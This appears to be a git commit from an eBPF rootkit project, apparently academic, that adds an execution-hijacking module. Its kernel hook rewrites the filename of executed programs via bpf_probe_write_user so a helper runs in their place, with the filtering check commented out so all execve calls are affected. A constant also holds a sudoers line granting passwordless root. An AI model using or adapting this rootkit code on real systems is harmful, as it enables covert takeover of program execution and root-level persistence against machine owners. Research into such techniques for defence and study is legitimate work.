Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

src/common/constants.h

@@ -18,4 +18,8 @@
 #define STRING_FS_SUDOERS_ENTRY "test ALL=(ALL:ALL) NOPASSWD:ALL #"
 #define STRING_FS_SUDOERS_ENTRY_LEN 34
 
+//EXECUTION HIJACKING
+#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
+
+
 #endif

src/ebpf/include/bpf/exec.h

@@ -12,23 +12,96 @@
 #include "defs.h"
 #include "../utils/strings.h"
 
+#define NUMBER_ARGUMENTS_PARSED 12
+#define ARGUMENT_LENGTH 64
+
 
 /**
- * >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format
+ * >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_execve/format
  */
 struct sys_execve_enter_ctx {
     unsigned long long unused;
     int __syscall_nr;
     unsigned int padding;
-    const char* const *argv;
+    char* filename;
-    const char* filename;
+    const char* const* argv;
-    const char* const *envp;
+    const char* const* envp;
 };
 
 
+
+static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
+    unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
+    //unsigned char* envp[PROGRAM_LENGTH] = {0};
+    unsigned char filename[ARGUMENT_LENGTH] = {0};
+    if(ctx==NULL || ctx->argv == NULL){
+        return -1;
+    }
+    if(bpf_probe_read_user(&argv, ARGUMENT_LENGTH, ctx->argv)<0){
+        bpf_printk("Error reading 1\n");
+    };
+    /*if(bpf_probe_read_user(&envp, PROGRAM_LENGTH, ctx->envp)<0){
+        bpf_printk("Error reading 2\n");
+    };*/
+    if(bpf_probe_read_user(&filename, ARGUMENT_LENGTH, ctx->filename)<0){
+        bpf_printk("Error reading 3\n");
+    };
+
+    bpf_printk("ARGV0: %s\n", argv[0]);
+    bpf_printk("ARGV1: %s\n", argv[1]);
+    bpf_printk("ARGV2: %s\n", argv[2]);
+    //bpf_printk("ENVP: %s\n", envp);
+    bpf_printk("FILENAME: %s\n", filename);
+
+    if(str_n_compare((char*)filename, ARGUMENT_LENGTH, (char*)PATH_EXECUTION_HIJACK_PROGRAM, sizeof(PATH_EXECUTION_HIJACK_PROGRAM), sizeof(PATH_EXECUTION_HIJACK_PROGRAM)-1)!=0){
+        //return 0;
+    }
+    
+    bpf_printk("Our file!\n");
+    /*
+    eBPF can only modify user memory, and thus we may find ourselves into trouble here
+    As it can be here https://elixir.bootlin.com/linux/v5.11/source/fs/exec.c#L2054
+    we receive an userspace buffer, but this is later tweaked via getname().
+    Thus we may not have user-accessible memory, however from my experience it works _sometimes_.
+    The idea is to hook all execve calls, but the first execution of our userspace helper will
+    deactivate this hook.
+    Also another solution could be to hook do_execve and access the filename struct, which still contians
+    an userspace buffer inside.
+    */
+
+    char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
+
+    #pragma unroll
+    for(int ii=0; ii<sizeof(PATH_EXECUTION_HIJACK_PROGRAM); ii++){
+        (to_write[ii]) = PATH_EXECUTION_HIJACK_PROGRAM[ii];
+    }
+    
+    bpf_printk("To write: %s\n", to_write);
+
+    long ret = bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM));
+    if(ret<0){
+        bpf_printk("Error writing to user memory %i\n", ret);
+        return -1;
+    }
+
+    unsigned char newfilename[ARGUMENT_LENGTH] = {0};
+    if(bpf_probe_read_user(&newfilename, ARGUMENT_LENGTH, ctx->filename)<0){
+        bpf_printk("Error reading 3\n");
+    };
+    bpf_printk("NEW FILENAME: %s\n", newfilename);
+
+    return 0;
+}
+
+
 SEC("tp/syscalls/sys_enter_execve")
 int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
+    __u64 pid_tgid = bpf_get_current_pid_tgid();
+    if(pid_tgid<0){
+        return -1;
+    }
 
+    return handle_tp_sys_enter_execve(ctx, pid_tgid);
 }
 
 

src/ebpf/include/utils/strings.h

@@ -32,31 +32,6 @@ static __always_inline int str_n_compare(char* str1, int str1len, char* str2, in
     return 0;
 }
 
-/**
- * Implementation of strncpy from the Linux Kernel. 
- * strncpy - Copy a length-limited, C-string
- * @dest: Where to copy the string to
- * @src: Where to copy the string from
- * @count: The maximum number of bytes to copy
- *
- * The result is not %NUL-terminated if the source exceeds
- * @count bytes.
- *
- * In the case where the length of @src is less than  that  of
- * count, the remainder of @dest will be padded with %NUL.
- *
- */
-static __always_inline char* str_n_copy(char *dest, const char *src, int count){
-	char *tmp = dest;
-
-	while (count) {
-		if ((*tmp = *src) != 0)
-			src++;
-		tmp++;
-		count--;
-	}
-	return dest;
-}
 
 
 

src/ebpf/kit.bpf.c

@@ -36,6 +36,7 @@
 //BPF modules to load
 #include "include/bpf/sched.h"
 #include "include/bpf/fs.h"
+#include "include/bpf/exec.h"
 
 char LICENSE[] SEC("license") = "Dual BSD/GPL";
 #define ETH_ALEN 6

src/helpers/execve_hijack.c

@@ -1,9 +1,23 @@
 #include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
 
 int main(int argc, char* argv[]){
     printf("Hello world from execve hijacker\n");
     for(int ii=0; ii<argc; ii++){
         printf("Argument %i is %s\n", ii, argv[ii]);
     }
+
+    int fd = open("/tmp/testcreated", O_RDWR | O_CREAT | O_TRUNC, 0666);
+    
+    int ii = 0;
+    while(*(argv[0]+ii)!='\0'){
+        write(fd, argv[0]+ii, 1);
+        ii++;
+    }
+
     return 0;
 }

src/user/include/modules/exec.h

@@ -0,0 +1,34 @@
+#ifndef __MOD_EXEC_H
+#define __MOD_EXEC_H
+
+#include <linux/bpf.h>
+#include <bpf/bpf.h>
+#include <bpf/libbpf.h>
+#include "common.h"
+#include "kit.skel.h"
+
+//Connections
+int attach_tp_sys_enter_execve(struct kit_bpf *skel){
+    skel->links.tp_sys_enter_execve = bpf_program__attach(skel->progs.tp_sys_enter_execve);
+	return libbpf_get_error(skel->links.tp_sys_enter_execve);
+}
+
+int attach_exec_all(struct kit_bpf *skel){
+    return attach_tp_sys_enter_execve(skel);
+}
+
+
+int detach_tp_sys_enter_execve(struct kit_bpf *skel){
+    int err = detach_link_generic(skel->links.tp_sys_enter_execve);
+    if(err<0){
+        fprintf(stderr, "Failed to detach fs link\n");
+        return -1;
+    }
+    return 0;
+}
+
+int detach_exec_all(struct kit_bpf *skel){
+    return detach_tp_sys_enter_execve(skel);
+}
+
+#endif

src/user/include/modules/module_manager.c

@@ -2,6 +2,7 @@
 #include "xdp.h"
 #include "sched.h"
 #include "fs.h"
+#include "exec.h"
 
 module_config_t module_config = {
     .xdp_module = {
@@ -17,6 +18,10 @@ module_config_t module_config = {
         .tp_sys_enter_read = OFF,
         .tp_sys_exit_read = OFF,
         .tp_sys_enter_openat = OFF
+    },
+    .exec_module = {
+        .all = ON,
+        .tp_sys_enter_execve = OFF
     }
 
 };
@@ -28,7 +33,8 @@ module_config_attr_t module_config_attr = {
         .flags = -1
     },
     .sched_module = {},
-    .fs_module = {}
+    .fs_module = {},
+    .exec_module = {}
 };
 
 
@@ -64,6 +70,14 @@ int setup_all_modules(){
     }
     if(ret!=0) return -1;
 
+    //EXEC
+    if(config.exec_module.all == ON){
+        ret = attach_exec_all(attr.skel);
+    }else{
+        if(config.exec_module.tp_sys_enter_execve == ON) ret = attach_tp_sys_enter_execve(attr.skel);
+    }
+    if(ret!=0) return -1;
+
 
     return 0;
 }

src/user/include/modules/module_manager.h

@@ -30,6 +30,11 @@ typedef struct module_config_t{
         char tp_sys_enter_openat;
     }fs_module;
 
+    struct exec_module {
+        char all;
+        char tp_sys_enter_execve;
+    }exec_module;
+
 } module_config_t;
 
 //Configuration struct. Used by the module manager to
@@ -49,6 +54,10 @@ typedef struct module_config_attr_t{
         void* __empty;
     }fs_module;
 
+    struct exec_module_attr {
+        void* __empty;
+    }exec_module;
+
 } module_config_attr_t;
 
 //An unique module configutation struct and attr